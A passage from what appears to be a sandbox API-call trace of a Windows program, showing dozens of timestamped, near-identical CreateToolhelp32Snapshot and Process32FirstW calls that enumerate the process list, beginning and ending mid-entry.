(dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0162.136] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.353] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0162.356] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0162.575] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.765] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0162.775] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.980] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0162.992] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.187] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0163.200] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.424] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0163.426] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.592] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0163.595] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.792] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0163.811] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.108] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0164.110] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0164.312] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.467] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0164.470] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.622] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0164.625] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0164.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0164.817] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0165.031] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0165.218] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0165.374] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0165.530] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.767] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0165.770] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.019] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0166.090] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.393] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0166.396] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.565] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0166.567] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.753] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0166.761] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0166.972] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.126] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0167.129] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x280 [0167.331] Process32FirstW (in: hSnapshot=0x280, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.492] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0167.495] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.665] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0167.668] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0167.822] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.183] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0168.190] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0168.448] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.639] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0168.663] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0168.882] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0168.886] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.073] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0169.075] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0169.275] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.432] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0169.445] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.630] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x260 [0169.633] Process32FirstW (in: hSnapshot=0x260, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.878] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0169.881] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.104] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0170.106] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.400] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0170.417] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.572] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0170.586] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0170.745] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.942] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0170.962] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0171.131] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0171.321] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.471] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0171.474] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0171.726] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.025] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0172.027] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.251] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0172.253] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.406] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0172.409] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.625] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0172.628] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.788] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0172.810] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.030] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.038] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.186] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.191] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.345] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.375] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.563] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.725] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.950] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0173.983] Process32FirstW (in: hSnapshot=0x27c, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0174.182] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0174.392] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.562] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0174.577] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.762] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0174.780] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0174.967] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0175.127] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0175.322] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.480] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x284 [0175.482] Process32FirstW (in: hSnapshot=0x284, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.653] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x288 [0175.655] Process32FirstW (in: hSnapshot=0x288, lppe=0x5afcac | out: lppe=0x5afcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, 